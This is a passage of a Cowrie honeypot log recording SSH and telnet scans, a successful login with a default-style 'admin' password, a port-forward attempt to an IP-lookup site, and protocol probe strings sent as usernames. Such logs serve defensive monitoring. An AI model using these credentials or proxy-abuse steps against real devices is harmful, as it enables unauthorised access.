ly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:34.321550Z","src_ip":"116.110.220.181","session":"0fee937247c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":2606,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a11109ff7b3","protocol":"telnet","message":"New connection: 34.78.73.110:2606 (159.203.135.109:23) [session: 8a11109ff7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:34.404688Z"}
{"eventid":"cowrie.session.closed","duration":0.008758783340454102,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:34.413328Z","src_ip":"34.78.73.110","session":"8a11109ff7b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":2608,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3083b51473a","protocol":"telnet","message":"New connection: 34.78.73.110:2608 (159.203.135.109:23) [session: c3083b51473a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:34.563877Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin01","message":"login attempt [admin/admin01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:36.087487Z","src_ip":"116.110.220.181","session":"0fee937247c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"116.110.220.181","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:36.347293Z","session":"0fee937247c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:36.689676Z","src_ip":"116.110.220.181","session":"0fee937247c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:36.693146Z","src_ip":"116.110.220.181","session":"0fee937247c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:36.954373Z","src_ip":"116.110.220.181","session":"0fee937247c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.5932035446167,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:46.842968Z","src_ip":"34.78.73.110","session":"5c1119491428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61642,"dst_ip":"159.203.135.109","dst_port":23,"session":"4abc85322aa0","protocol":"telnet","message":"New connection: 34.78.73.110:61642 (159.203.135.109:23) [session: 4abc85322aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:53.719513Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:53.724907Z","src_ip":"34.78.73.110","session":"4abc85322aa0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:53.729294Z","src_ip":"34.78.73.110","session":"4abc85322aa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09252429008483887,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:53.811906Z","src_ip":"34.78.73.110","session":"4abc85322aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61644,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2e81c3323ea","protocol":"telnet","message":"New connection: 34.78.73.110:61644 (159.203.135.109:23) [session: a2e81c3323ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:53.886875Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61648,"dst_ip":"159.203.135.109","dst_port":23,"session":"09ff747e9cdd","protocol":"telnet","message":"New connection: 34.78.73.110:61648 (159.203.135.109:23) [session: 09ff747e9cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:54.041725Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61660,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9e1b5cf806e","protocol":"telnet","message":"New connection: 34.78.73.110:61660 (159.203.135.109:23) [session: a9e1b5cf806e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:54.199203Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61662,"dst_ip":"159.203.135.109","dst_port":23,"session":"c651df53fe4a","protocol":"telnet","message":"New connection: 34.78.73.110:61662 (159.203.135.109:23) [session: c651df53fe4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:54.353718Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61676,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc37218e6958","protocol":"telnet","message":"New connection: 34.78.73.110:61676 (159.203.135.109:23) [session: cc37218e6958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:54.507571Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61684,"dst_ip":"159.203.135.109","dst_port":23,"session":"6493f6f1c891","protocol":"telnet","message":"New connection: 34.78.73.110:61684 (159.203.135.109:23) [session: 6493f6f1c891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:54.662227Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61688,"dst_ip":"159.203.135.109","dst_port":23,"session":"22f5f9f47a3e","protocol":"telnet","message":"New connection: 34.78.73.110:61688 (159.203.135.109:23) [session: 22f5f9f47a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:54.818614Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61698,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c5f184115dd","protocol":"telnet","message":"New connection: 34.78.73.110:61698 (159.203.135.109:23) [session: 6c5f184115dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:54.973366Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61708,"dst_ip":"159.203.135.109","dst_port":23,"session":"6feb64f969f0","protocol":"telnet","message":"New connection: 34.78.73.110:61708 (159.203.135.109:23) [session: 6feb64f969f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:55.127687Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61720,"dst_ip":"159.203.135.109","dst_port":23,"session":"43cf8e8db20c","protocol":"telnet","message":"New connection: 34.78.73.110:61720 (159.203.135.109:23) [session: 43cf8e8db20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:55.361713Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61732,"dst_ip":"159.203.135.109","dst_port":23,"session":"486558bf7743","protocol":"telnet","message":"New connection: 34.78.73.110:61732 (159.203.135.109:23) [session: 486558bf7743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:55.520441Z"}
{"eventid":"cowrie.session.closed","duration":0.005408763885498047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:55.525668Z","src_ip":"34.78.73.110","session":"486558bf7743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61742,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f396e49a96","protocol":"telnet","message":"New connection: 34.78.73.110:61742 (159.203.135.109:23) [session: c9f396e49a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:55.676014Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61752,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ed00dd6da52","protocol":"telnet","message":"New connection: 34.78.73.110:61752 (159.203.135.109:23) [session: 0ed00dd6da52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:55.831475Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61762,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad307f1fe9aa","protocol":"telnet","message":"New connection: 34.78.73.110:61762 (159.203.135.109:23) [session: ad307f1fe9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:55.986907Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61768,"dst_ip":"159.203.135.109","dst_port":23,"session":"c700e6d818bb","protocol":"telnet","message":"New connection: 34.78.73.110:61768 (159.203.135.109:23) [session: c700e6d818bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:56.141517Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61770,"dst_ip":"159.203.135.109","dst_port":23,"session":"f84bbe4a6629","protocol":"telnet","message":"New connection: 34.78.73.110:61770 (159.203.135.109:23) [session: f84bbe4a6629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:56.298048Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61778,"dst_ip":"159.203.135.109","dst_port":23,"session":"df95dc7b84dc","protocol":"telnet","message":"New connection: 34.78.73.110:61778 (159.203.135.109:23) [session: df95dc7b84dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:56.453600Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61780,"dst_ip":"159.203.135.109","dst_port":23,"session":"dddbe3400288","protocol":"telnet","message":"New connection: 34.78.73.110:61780 (159.203.135.109:23) [session: dddbe3400288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:56.608773Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61794,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f610017e05e","protocol":"telnet","message":"New connection: 34.78.73.110:61794 (159.203.135.109:23) [session: 8f610017e05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:56.767387Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61800,"dst_ip":"159.203.135.109","dst_port":23,"session":"777d75d27c3c","protocol":"telnet","message":"New connection: 34.78.73.110:61800 (159.203.135.109:23) [session: 777d75d27c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:56.921693Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:56.927949Z","src_ip":"34.78.73.110","session":"777d75d27c3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61806,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e4860b8f4ef","protocol":"telnet","message":"New connection: 34.78.73.110:61806 (159.203.135.109:23) [session: 5e4860b8f4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:57.081012Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61814,"dst_ip":"159.203.135.109","dst_port":23,"session":"7247be52dfde","protocol":"telnet","message":"New connection: 34.78.73.110:61814 (159.203.135.109:23) [session: 7247be52dfde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:57.237217Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61820,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddaf97cbe6bc","protocol":"telnet","message":"New connection: 34.78.73.110:61820 (159.203.135.109:23) [session: ddaf97cbe6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:57.393198Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61826,"dst_ip":"159.203.135.109","dst_port":23,"session":"74d3a046bc1c","protocol":"telnet","message":"New connection: 34.78.73.110:61826 (159.203.135.109:23) [session: 74d3a046bc1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:57.549361Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61836,"dst_ip":"159.203.135.109","dst_port":23,"session":"28596ed911a2","protocol":"telnet","message":"New connection: 34.78.73.110:61836 (159.203.135.109:23) [session: 28596ed911a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:57.704669Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61840,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa6acd896e1c","protocol":"telnet","message":"New connection: 34.78.73.110:61840 (159.203.135.109:23) [session: aa6acd896e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:57.860349Z"}
{"eventid":"cowrie.session.closed","duration":0.010693073272705078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:57.870903Z","src_ip":"34.78.73.110","session":"aa6acd896e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61854,"dst_ip":"159.203.135.109","dst_port":23,"session":"918123eed4bc","protocol":"telnet","message":"New connection: 34.78.73.110:61854 (159.203.135.109:23) [session: 918123eed4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:58.020230Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.73.110","src_port":61866,"dst_ip":"159.203.135.109","dst_port":23,"session":"a84ab01c8c54","protocol":"telnet","message":"New connection: 34.78.73.110:61866 (159.203.135.109:23) [session: a84ab01c8c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:58.174267Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 6790","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 6790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:58.180001Z","src_ip":"34.78.73.110","session":"a84ab01c8c54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":53086,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b1976db28f0","protocol":"telnet","message":"New connection: 176.65.149.254:53086 (159.203.135.109:23) [session: 7b1976db28f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:08:59.636101Z"}
{"eventid":"cowrie.session.closed","duration":3.4053151607513428,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.579457Z","src_ip":"34.78.73.110","session":"a84ab01c8c54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5645761489868164,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.584639Z","src_ip":"34.78.73.110","session":"918123eed4bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8861799240112305,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.590755Z","src_ip":"34.78.73.110","session":"28596ed911a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.046678781509399,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.595929Z","src_ip":"34.78.73.110","session":"74d3a046bc1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.210501432418823,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.603565Z","src_ip":"34.78.73.110","session":"ddaf97cbe6bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.37607479095459,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.613174Z","src_ip":"34.78.73.110","session":"7247be52dfde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.536326169967651,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.617203Z","src_ip":"34.78.73.110","session":"5e4860b8f4ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.704691410064697,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.626256Z","src_ip":"34.78.73.110","session":"777d75d27c3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.863008737564087,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.630302Z","src_ip":"34.78.73.110","session":"8f610017e05e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.025139093399048,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.633791Z","src_ip":"34.78.73.110","session":"dddbe3400288","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.1840808391571045,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.637535Z","src_ip":"34.78.73.110","session":"df95dc7b84dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.3434364795684814,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.641372Z","src_ip":"34.78.73.110","session":"f84bbe4a6629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.507238388061523,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.648613Z","src_ip":"34.78.73.110","session":"c700e6d818bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.668637990951538,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.655255Z","src_ip":"34.78.73.110","session":"ad307f1fe9aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.984033823013306,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.659918Z","src_ip":"34.78.73.110","session":"c9f396e49a96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.303008794784546,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.664584Z","src_ip":"34.78.73.110","session":"43cf8e8db20c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.85027551651001,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.668755Z","src_ip":"34.78.73.110","session":"22f5f9f47a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.547106981277466,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.674660Z","src_ip":"34.78.73.110","session":"6feb64f969f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.705864667892456,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.679120Z","src_ip":"34.78.73.110","session":"6c5f184115dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.023714303970337,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.685809Z","src_ip":"34.78.73.110","session":"6493f6f1c891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.182371377944946,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.689830Z","src_ip":"34.78.73.110","session":"cc37218e6958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.340517997741699,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.694091Z","src_ip":"34.78.73.110","session":"c651df53fe4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.499299049377441,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.698409Z","src_ip":"34.78.73.110","session":"a9e1b5cf806e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.872549772262573,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.703892Z","src_ip":"34.78.73.110","session":"0ed00dd6da52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.666065454483032,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.707673Z","src_ip":"34.78.73.110","session":"09ff747e9cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.824724435806274,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.711408Z","src_ip":"34.78.73.110","session":"a2e81c3323ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.151723623275757,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:01.715478Z","src_ip":"34.78.73.110","session":"c3083b51473a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.905983209609985,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:29.541946Z","src_ip":"176.65.149.254","session":"7b1976db28f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01029872894287,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:38.484837Z","src_ip":"212.55.149.117","session":"60fd5b6e7234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53062,"dst_ip":"10.17.0.5","dst_port":22,"session":"9daaae38fb5f","protocol":"ssh","message":"New connection: 2.57.122.238:53062 (10.17.0.5:22) [session: 9daaae38fb5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:52.705431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:09:52.708789Z","src_ip":"2.57.122.238","session":"9daaae38fb5f","protocol":"ssh"}
